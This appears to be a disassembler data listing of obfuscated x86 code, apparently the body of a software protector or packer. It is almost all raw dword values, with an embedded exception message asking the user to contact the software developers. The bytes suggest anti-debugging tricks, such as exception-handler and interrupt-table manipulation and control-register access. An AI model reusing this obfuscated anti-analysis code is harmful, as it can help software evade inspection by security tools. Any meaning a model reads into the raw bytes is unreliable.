		dd 38E980D0h, 1E8E858Dh, 9589005Bh, 6130B75h, 0FE9h, 2A73B400h
		dd 22C57A3h, 0A78F6AD6h, 50D1B7DBh, 8D8BD0FFh, 6132879h
		dd 8166C08Bh, 830E93D9h, 131625BDh, 9750006h, 2C81BD83h
		dd 74000613h, 8B535019h, 7D8B8C0h, 85890000h, 6130D7Dh
		dd 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50177400h
		dd 7D8B853h, 85890000h,	6130D7Dh, 0A66C9D8Dh, 0D3FF0615h
		dd 0BD03585Bh, 6130E09h, 8D33C08Bh, 6131E41h, 0F003F68h
		dd 84BA6600h, 8A006A96h, 68B0FF3h, 89000000h, 1306D9B5h
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0E789C356h, 198D8B0Ah,	0FF061301h
		dd 1301B995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0C085B325h, 0C9BD3151h, 5F06131Bh
		dd 0F3678589h, 0F88B0615h, 0F01FF68h, 0E98D3300h, 83061313h
		dd 131505BDh, 840F0006h, 57h, 6D858B60h, 0FC061323h, 8DCF8B61h
		dd 15F3C485h, 0D2BF0F06h, 44E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 25C354A7h
		dd 0F129031h, 687h, 0E9852900h,	0E906132Ch, 0Bh, 314EE7CDh
		dd 0D83C17CBh, 8D6CFB93h, 15F39A85h, 6A5006h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0CE811C3h
		dd 0BE000000h, 43840C5Eh, 84E1AD24h, 6677AA86h,	2A62F281h
		dd 67B5FF59h, 0F0615F3h, 158Dh,	10E900h, 0A4120000h, 0EDBE148Dh
		dd 4AB636FBh, 93EC647Ch, 95FF4D2Fh, 615F35Fh, 6850Fh, 0B5890000h
		dd 61312A1h, 0F36B8589h, 0FE80615h, 44000000h, 4D8FF04Eh
		dd 93C61745h, 0BFD99B29h, 9D898C8Bh, 61324D5h, 5185C75Fh
		dd 61315h, 0BF000000h, 536A5C26h, 83CF8B66h, 15F36BBDh
		dd 840F0006h, 15Ch, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0B6C35141h, 1897F0A6h, 858DA6DAh, 615F649h
		dd 2C3D8D03h, 60B90613h, 501D146Dh, 3485952Bh, 16A0613h
		dd 2C9DBD8Bh, 0BD8B0613h, 6132BA1h, 0F36BB5FFh,	14E90615h
		dd 52000000h, 81FE9B38h, 5C72D65Ah, 3876DD79h, 3D2C08FFh
		dd 0FF96E20Dh, 15F36395h, 0B1BD8906h, 0FF061318h, 15F36BB5h
		dd 0CFB70F06h, 13D95FFh, 0C7810613h, 436CBCF0h,	0F01FF68h
		dd 0DBD8B00h, 83061315h, 131505BDh, 840F0006h, 1Ch, 8DD0B70Fh
		dd 15F3C485h, 41858906h, 0E9061300h, 11h, 0BD8BF98Bh, 6133265h
		dd 0F39A858Dh, 0EA800615h, 0B5FF50B9h, 615F367h, 0F35F95FFh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 67CA45C3h, 62EC2544h, 9BD9D89h, 85890613h
		dd 615F36Bh, 94DBD8Bh, 0B5FF0613h, 615F36Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E3C35040h, 0D649584Bh
		dd 0CAD028A7h, 5B95FF04h, 310615F3h, 130E918Dh,	218D8906h
		dd 0FF061328h, 15F36BB5h, 5E906h, 0FE200000h, 0FFBA69B8h
		dd 13013D95h, 0F8B70F06h, 0FFF71EE9h, 816657FFh, 597187F1h
		dd 0FEB4B5FFh, 6A0615h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0D4059C3h, 0FEF8166h, 8995FFB2h
		dd 8906131Dh, 13095595h, 95858B06h, 0BA06131Bh,	13854D3Fh
		dd 55DE9h, 318D8900h, 8D06130Ch, 15F669B5h, 4D858D06h
		dd 6A0615A3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0B7E4C356h, 0EF92B2BFh, 0E9D0FF3Ah
		dd 0Ch,	5B7CEF16h, 8EB447C5h, 69908EFFh, 958B006Ah, 6130935h
		dd 1CBD95FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 232FC9C3h, 0C4325F54h, 0E580A830h
		dd 8B64B2FDh, 6E9F3h, 8D5D0000h, 0B2BF0AB3h, 0A34D858Dh
		dd 9D890615h, 61321B9h,	0CE8h, 0E409C100h, 37C44795h, 17901C23h
		dd 5E96Bh, 3F8B0000h, 5A31433Fh, 0BE9D0FFh, 2C000000h
		dd 0AD315863h, 64CB702Ch, 6ABC4Dh, 12F1BD8Bh, 95FF0613h
		dd 6131CBDh, 8BD18B66h,	0BD83F8C0h, 6131625h, 83097500h
		dd 132C81BDh, 19740006h, 0C08B5350h, 7D9B8h, 7D858900h
		dd 8D06130Dh, 15A97D9Dh, 5BD3FF06h, 81BD8358h, 6132Ch
		dd 53501774h, 7D9B8h, 7D858900h, 8D06130Dh, 15A66C9Dh
		dd 5BD3FF06h, 99958958h, 0F06131Eh, 686h, 33E78100h, 8B306AE0h
		dd 50F78AC0h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	97C35545h, 892B7EC3h, 1321498Dh, 1D88B06h, 131E619Dh
		dd 9D8D5306h, 613065Dh,	389038Bh, 8950438Bh, 9D8D5043h
		dd 615FE4Dh, 389038Bh, 0CC6FB95Bh, 8B6670DEh, 0F006ACFh
		dd 8D8BCBBFh, 6131145h,	0FE4D858Dh, 50F90615h, 16E19D89h
		dd 606A0613h, 31619589h, 858D0613h, 613065Dh, 50D78B66h
		dd 8D8B90B1h, 61316B5h,	0B70F006Ah, 8B006ACBh, 1331E58Dh
		dd 18006806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8971D6C3h, 132301BDh, 8B505306h
		dd 1305ED95h, 95FF5F06h, 6130C51h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 6DC35646h, 0C09EA5C4h, 58F021AAh
		dd 0FFD2B70Fh, 13120995h, 158D8B06h, 0FF061309h, 15FEB4B5h
		dd 698D8B06h, 0FF06132Bh, 131D8995h, 0C9853106h, 8D06131Ah
		dd 13065D85h, 29958B06h, 8B06131Dh, 6A1840h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FC76B9C3h
		dd 0F962CDC3h
		dd 0AA585C7h, 613h, 80560000h, 835A7BCDh, 131505BDh, 840F0006h
		dd 47h,	31458D8Bh, 8C3D0613h, 0F000000h, 1B583h, 12D98100h
		dd 0E9343B7Fh, 3Ch, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0EAC35141h, 0F1EC42F5h, 8B74D173h, 13349DBDh
		dd 3DF88B06h, 98h, 174830Fh, 8D8B0000h,	6130781h, 243B858Dh
		dd 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0D0FF6CC3h, 2B2D8501h, 858D0613h,	5B1E8Eh
		dd 0DDC18166h, 0D18B66B1h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0FD4921C3h
		dd 38C47AB3h, 758D8B0Dh, 8B061310h, 0FE8B66C0h,	1625BD83h
		dd 75000613h, 81BD8309h, 6132Ch, 53501974h, 0C6B8C08Bh
		dd 8900000Bh, 130D7D85h, 7D9D8D06h, 0FF0615A9h,	83585BD3h
		dd 132C81BDh, 17740006h, 0C6B85350h, 8900000Bh,	130D7D85h
		dd 6C9D8D06h, 0FF0615A6h, 8B585BD3h, 1309EDBDh,	0CA8B6606h
		dd 5E8C08Bh, 9B000000h,	0F4883E76h, 0FFF8835Ah,	7C850Fh
		dd 0C7F50000h, 13233985h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 11BE913h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3F8EF4C3h, 46FABCD8h, 860FC1A9h, 0
		dd 0E9CBB70Fh, 38h, 3161B509h, 13E90613h, 95000000h, 0CA6BE949h
		dd 4F48F7ADh, 0D0C93B7Ch, 0D4994965h, 0F883DA1Fh, 11850F01h
		dd 8B000000h, 132A0595h, 108E906h, 8D8B0000h, 6130005h
		dd 0FFF272E9h, 0C08BFCFFh, 0BD83F88Bh, 6131625h, 83097500h
		dd 132C81BDh, 19740006h, 0C08B5350h, 7DDB8h, 7D858900h
		dd 8D06130Dh, 15A97D9Dh, 5BD3FF06h, 81BD8358h, 6132Ch
		dd 53501774h, 7DDB8h, 7D858900h, 8D06130Dh, 15A66C9Dh
		dd 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 804D6034h, 80F86458h, 6AD4EDh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 34D032C3h, 0EE44DA86h, 0B235BD32h, 8BC08B6Bh, 1323858Dh
		dd 24AE906h, 0FC510000h, 51858D59h, 10615FCh, 1320358Dh
		dd 49858906h, 890615FEh, 13225D95h, 7EE906h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 5CEE06C3h, 0D6EB0F95h, 8E0FCD61h, 6,	9CC9D781h, 0B557654Fh
		dd 858D5935h, 615FA59h,	0EE9h, 0CFB3A000h, 0D50F1FEFh
		dd 95360899h, 4068D261h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 62C35141h, 10A1E834h,	76D73FB3h, 0FE498589h
		dd 85890615h, 6130BE9h,	858D346Ah, 6132AA5h, 49B5FF50h
		dd 6A0615FEh, 5595FF00h, 83061301h, 840F07F8h, 168h, 0F6DB8C66h
		dd 850F04C3h, 102h, 11E185C6h, 68560613h, 9CA8B852h, 116DB5FFh
		dd 858D0613h, 6133AADh,	46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
		dd 15FEBC85h, 0E185C606h, 47061311h, 18AC9B68h,	6DB5FFECh
		dd 8D061311h, 133AAD85h, 0FFD0FF06h, 0C6F08BD0h, 1311E185h
		dd 61684F06h, 0FFC62F26h, 1307C9B5h, 0AD858D06h, 0FF06133Ah
		dd 0B89D8DD0h, 530615FEh, 0FF56286Ah, 75C085D0h, 0E185C600h
		dd 41061311h, 87649868h, 0C9B5FFDBh, 8D061307h,	133AAD85h
		dd 89D0FF06h, 15FED585h, 0E185C606h, 4C061311h,	0A4E7A468h
		dd 0C9B5FF80h, 8D061307h, 133AAD85h, 8BD0FF06h,	15FEBC9Dh
		dd 45B8D06h, 0C19D8D53h, 530615FEh, 0D0FF006Ah,	0FEBC9D8Bh
		dd 3C70615h, 1,	20C43C7h, 8B000000h, 131AB99Dh,	0F185C706h
		dd 61304h, 6A000000h, 6A006A00h, 0BC9D8B00h, 530615FEh
		dd 0B5FF006Ah, 615FEB8h, 0FED595FFh, 85C60615h,	61311E1h
		dd 0F7976845h, 0B5FF92A5h, 61310D1h, 3AAD858Dh,	0D0FF0613h
		dd 26A006Ah, 8C66D0FFh,	4C3F6DBh, 9D8B3275h, 615FEBCh
		dd 0C43C7h, 6A000000h, 8B006A00h, 15FEBC9Dh, 6A5306h, 0FEB8B5FFh
		dd 95FF0615h, 615FED5h,	0FEB8B5FFh, 95FF0615h, 6131209h
		dd 95FF006Ah, 6131CBDh,	0CE9h, 79E63800h, 0A2C674F7h, 0D0FD14BAh
		dd 7692BF89h, 85896893h, 6130AF1h, 30FA858Dh, 0F520616h
		dd 505FD3BFh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	36C35343h, 820F51A9h, 8, 2880Fh, 0FE8B0000h, 35FF64h
		dd 8B000000h, 130EF195h, 25896406h, 0
		dd 83CEBF0Fh, 131F95BDh, 840F0006h, 53h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 0D5C35242h, 83FF45A5h
		dd 13173DBDh, 850F0106h, 27h, 16FDBD8Bh, 0B70F0613h, 0D5BD80F9h
		dd 61602h, 11850Fh, 0BA660000h,	4CE9F622h, 57000001h, 0B107D181h
		dd 335F49B2h, 0D38B66DBh, 40FCC033h, 0B073F0Fh,	58F64h
		dd 83000000h, 8F0F04C4h, 1, 7DE980F5h, 35158D29h, 0FB830613h
		dd 1F840FFFh, 0F000000h, 0A86h,	8C0F6000h, 0
		dd 5161F88Bh, 1175BD0Bh, 0E95F0613h, 0EDh, 89E9FA8Bh, 0E8000000h
		dd 5, 784338EAh, 9589601Dh, 6130CF9h, 5A61D18Bh, 0C244C8Bh
		dd 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh
		dd 0E855h, 815D0000h, 16311CEDh, 0B8838B06h, 8D000000h
		dd 1631D585h, 0B8838906h, 5D000000h, 0E8C3C033h, 9, 0D268BC9h
		dd 0B13ED15Dh, 8E804h, 8F2B0000h, 7613135Eh, 616030A6h
		dd 11E9595Fh, 0C1000000h, 9FA94C80h, 0DEE24596h, 0CEBB2C5Eh
		dd 0CCE2736Ch, 3112858Dh, 85290616h, 613053Dh, 9E950h
		dd 96CF0000h, 0AC9CBEB5h, 64322A20h, 35FFh, 85290000h
		dd 6132051h, 258964h, 89000000h, 1304F5B5h, 0AB906h, 4B80000h
		dd 54855D7h, 0DF78164h,	85D465BBh, 0B640BA86h, 0EA810034h
		dd 345FE8h, 68FB81EDh, 75564D58h, 0A585C70Ah, 1061312h
		dd 64000000h, 58Fh, 0C4830000h,	55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 614B2A4Bh
		dd 42C56CA8h, 0FC2BDD80h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 7B61FCC3h, 26F4D604h
		dd 8D31DEE0h, 61316B5h,	0BD8367B2h, 6131625h, 83097500h
		dd 132C81BDh, 19740006h, 0C08B5350h, 43DB8h, 15858900h
		dd 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h, 6132Ch
		dd 53501774h, 43DB8h, 15858900h, 8D061331h, 15A6859Dh
		dd 5BD3FF06h, 6DBD0358h, 66061301h, 957FCF81h, 1FAD8D8Bh
		dd 0C08B0613h, 147E9h, 400h, 392E3100h,	3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2345BD83h, 0F000613h
		dd 12D84h, 9C858D00h, 500615A4h, 0A406858Dh, 68500615h
		dd 80000001h, 0A4AC95FFh, 858D0615h, 6163297h, 0A1858D50h
		dd 50061632h, 6A006Ah, 0A41A858Dh, 0FF500615h, 15A49CB5h
		dd 9195FF06h, 8D061311h, 16329785h, 858D5006h, 61632A5h
		dd 6A006A50h, 2C858D00h, 500615A4h, 0A49CB5FFh,	95FF0615h
		dd 6131191h, 3297858Dh,	8D500616h, 1632B185h, 6A5006h
		dd 858D006Ah, 615A479h,	9CB5FF50h, 0FF0615A4h, 13119195h
		dd 97858D06h, 50061632h, 32B9858Dh, 6A500616h, 8D006A00h
		dd 15A49785h, 0B5FF5006h, 615A49Ch, 119195FFh, 858D0613h
		dd 6163297h, 0B5858D50h, 50061632h, 6A006Ah, 0A480858Dh
		dd 0FF500615h, 15A49CB5h, 9195FF06h, 8D061311h,	16329785h
		dd 858D5006h, 61632A9h,	6A006A50h, 88858D00h, 500615A4h
		dd 0A49CB5FFh, 95FF0615h, 6131191h, 3297858Dh, 8D500616h
		dd 1632AD85h, 6A5006h, 858D006Ah, 615A48Fh, 9CB5FF50h
		dd 0FF0615A4h, 13119195h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
		dd 0A2E906h, 0BD830000h, 613316Dh, 95840F00h, 83000000h
		dd 13173DBDh, 850F0006h, 11h, 29C5958Bh, 0C2810613h, 1CF8h
		dd 0FE9h, 5D958D00h, 8B061306h,	0C2813452h, 3BD4C340h
		dd 206D9589h, 0BD830613h, 613206Dh, 55840F00h, 8B000000h
		dd 13206D9Dh, 4CC38306h, 8589038Bh, 61632A1h, 206D9D8Bh
		dd 0C3830613h, 89038B50h, 1632A585h, 6D9D8B06h,	83061320h
		dd 38B54C3h, 32B18589h,	9D8B0616h, 613206Dh, 8B58C383h
		dd 0B5858903h, 8B061632h, 13206D9Dh, 5CC38306h,	8589038Bh
		dd 61632A9h, 2345BD83h,	0F000613h, 0D85h, 6DBD8300h, 61331h
		dd 68840Fh, 0B5FF0000h,	61632B9h, 32ADB5FFh, 0B5FF0616h
		dd 61632A9h, 32B5B5FFh,	0B5FF0616h, 61632B1h, 32A5B5FFh
		dd 0B5FF0616h, 61632A1h, 329B858Dh, 8D500616h, 1632D385h
		dd 858D5006h, 6132609h,	8595FF50h, 83061311h, 406A24C4h
		dd 32BD858Dh, 8D500616h, 13260985h, 6A5006h, 15595FFh
		dd 16A0613h, 1CBD95FFh,	0C18B0613h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6163667h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 9FB58BFFh, 81061636h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0A3B53B00h
		dd 0F061636h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h
		dd 24C88C66h, 0FC00A03h, 1984h,	0BB535000h, 2, 206D858Bh
		dd 18860613h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h
		dd 0FFFFFFCFh, 2474FF50h, 1D95FF08h, 50061311h,	244C010Fh
		dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h,	665B0258h
		dd 324C88Ch, 840FC00Ah,	9, 206D858Bh, 0C60613h,	4FF5800h
		dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h
		dd 3884h, 2BB00h, 858B0000h, 613206Dh, 0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 61328D5h,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 0D585C700h, 61328h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 4485C700h
		dd 1061636h, 50000000h,	244C010Fh, 48858FFEh, 8D061636h
		dd 16364085h, 48BD8D06h, 89061636h, 23E938h, 858D0000h
		dd 613065Dh, 538408Bh, 9B46F317h, 36408589h, 858D0616h
		dd 613065Dh, 893C408Bh,	16364485h, 5D858D06h, 89061636h
		dd 13111D85h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 0D0858D00h, 89061638h, 13204585h, 0F8858D06h, 89061638h
		dd 1322D585h, 20858D06h, 89061639h, 130EE585h, 6A6006h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0F8D12FC3h, 0E912AE5Dh, 0E836434Eh, 0Ah, 478F0A23h
		dd 5D4EF3Eh, 8B603460h,	4631BECFh, 5E610E7Fh, 0DE9C08Bh
		dd 9B000000h, 68E000AEh, 6068C60Ah, 586CAD71h, 1625BD83h
		dd 75000613h, 81BD8309h, 6132Ch, 53501974h, 0EB8C08Bh
		dd 89000004h, 130D7D85h, 7D9D8D06h, 0FF0615A9h,	83585BD3h
		dd 132C81BDh, 17740006h, 0EB85350h, 89000004h, 130D7D85h
		dd 6C9D8D06h, 0FF0615A6h, 6A585BD3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5E83C351h
		dd 0A133683Fh, 0FC973E9h, 8B66C9BFh, 50006AC8h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BF0F741Ch
		dd 8BC08BF6h, 95BD83C8h, 6131Fh, 0A840Fh, 0D9800000h, 247E9FFh
		dd 0D38B0000h, 0CE81DF8Ch, 4FFA59Ch, 4C7F766h, 32850F00h
		dd 6A000002h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 6C1AC355h, 80A221Fh, 0CFC180F1h
		dd 55F9B5BAh, 5BD8341h,	61315h,	34850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 23E642C3h, 0E99CAA3Dh, 1D5h,	8800Fh,	81570000h, 0A71403D1h
		dd 0FF2B5A4Ch, 0F28B5956h, 3C9C9D8Dh, 0E6810616h, 78740B6Dh
		dd 0FE9h, 8202E000h, 0C0589C2Ah, 72797BA4h, 5491DAF5h
		dd 683FBE93h, 0B25062D8h, 0F18B939Ch, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0C9FAC357h, 69F7D471h, 8964B0AFh,	25h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 88EC8B5Fh, 0C48BFAB5h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 60C35141h, 460F580h, 0D08B66A5h, 0EB01CDh
		dd 20B9D68Bh, 6A6AD6D9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 2C31C351h, 0BAF2BF0Fh
		dd 1E2E59E5h, 58F64h, 0B5000000h, 83F18B22h, 6A04C4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 5CB4ADC3h, 0EA81669Bh, 0C00BD600h, 0B3840Fh,	8B660000h
		dd 6A61D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0E23D2BC3h, 607AB626h, 0B6D18166h, 61FA8BC5h
		dd 7533BD8Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C27EC8C3h, 0F7AC2B5h, 1880h, 8C0F6000h
		dd 0
		dd 0AE8h, 40794900h, 55699DEDh,	595A2502h, 1B861h, 880F0000h
		dd 3, 0FFD7B70Fh, 5FBF60E7h, 0B078BD77h, 8B576116h, 8B10245Ch
		dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 8B66F38Bh, 6A61CAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0FC06CCC3h, 0CBB70FF3h
		dd 8BF78B66h, 12E8C0h, 1F430000h, 49BFA773h, 8BD3B033h
		dd 0E22CB7D0h, 3668CC3Fh, 4840Fh, 0BA660000h, 835AEFB9h
		dd 131625BDh, 9750006h,	2C81BD83h, 74000613h, 8B535019h
		dd 40EB8C0h, 85890000h,	6133115h, 0A9E49D8Dh, 0D3FF0615h
		dd 0BD83585Bh, 6132C81h, 50177400h, 40EB853h, 85890000h
		dd 6133115h, 0A6859D8Dh, 0D3FF0615h, 0D78B585Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BAC35040h, 0BECF7CE3h
		dd 8B7869F6h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A0A30D64h, 50AB588Dh, 0D08B4BA4h
		dd 0EE8C28Bh, 0E6000000h, 67D2A678h, 0BD378EDCh, 0FB3B6628h
		dd 5F67B274h, 0BE9h, 5E638A00h,	0BFAB359Fh, 4811682Dh
		dd 6C41C781h, 0B3560000h, 0EEBE5BAFh, 0E900001Ah, 0Dh
		dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 0E937FF53h,	5, 60CC37C7h
		dd 81F559B5h, 0EFFA39F1h, 81D88B0Ch, 215216E9h,	6D38120h
		dd 811601A7h, 0E9A219E9h, 89F88A26h, 6E90Fh, 0AF060000h
		dd 0F3CC9857h, 0BA04EF83h, 17C6CA2Eh, 1EE81h, 850F0000h
		dd 0FFFFFFB5h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 613173Dh, 700C858Dh,	88B0616h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3E408D89h, 0BD830616h, 6131505h,	0F840F00h
		dd 60000000h, 95FF006Ah, 6130DA9h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 3C85895Ah, 8B06163Eh
		dd 163E40B5h, 10CEC106h, 2728966h, 3E40B58Bh, 89660616h
		dd 8B61FC72h, 163E3C85h, 958DC306h, 6132D31h, 206D9589h
		dd 95890613h, 6130F55h,	0F5585FFh, 85C60613h, 61311E1h
		dd 48D86853h, 0B5FFFCB1h, 613116Dh, 3AAD858Dh, 0D0FF0613h
		dd 0DA98589h, 858D0613h, 6163677h, 0D098589h, 20EB0613h
		dd 8 dup(0)
		dd 5F6E9h, 5EAE900h, 0CC680000h, 0E9061640h, 0FFFD4224h
		dd 16419068h, 421AE906h, 0C668FFFDh, 0E9061643h, 0FFFD4210h
		dd 16442668h, 4206E906h, 0CD19FFFDh, 0B7072989h, 0BF113797h
		dd 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh, 0E7C78DDCh, 0FFDF73C1h
		dd 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h, 0F516B3F4h, 6BBDC29Ch
		dd 9FFF8EDFh, 0F6909DB4h, 3FFD1F9Ch, 0A72341EDh, 3Dh, 0BDE5C2BBh
		dd 1571E06Ch, 0DE109DB5h, 77D635BFh, 0B8109DB5h, 0C40C3E92h
		dd 0B6157178h, 8B8BED47h, 90C5E216h, 0A877636h,	0E473D56Ah
		dd 88CA17A1h, 4C045334h, 536E4C2Dh, 33h, 0F2DDC2EFh, 0E2F31ADEh
		dd 30AEDDE7h, 71109EAFh, 0AEC31F4Eh, 98C109Eh, 273612A5h
		dd 87E2DEE6h, 0C3A2A83Ch, 863771E4h, 59BC168Ch,	0E7765C79h
		dd 0BDF9636Dh, 518EDF6Bh, 6C74D869h, 624BBA1Dh,	62D7FB6Fh
		dd 912E1CB0h, 0B4E33FAEh, 69AC909Dh, 2935715Fh,	85057857h
		dd 0C6909DA4h, 0A51A74E9h, 2253909Dh, 909DA4A8h, 0FE1F2C71h
		dd 451479F6h, 5AB42906h, 23909DA5h, 65F8DAE2h, 76E7C8E7h
		dd 909DA51Ch, 3A18A0E5h, 4A3E3FEh, 0A0B0FF23h, 94A4E918h
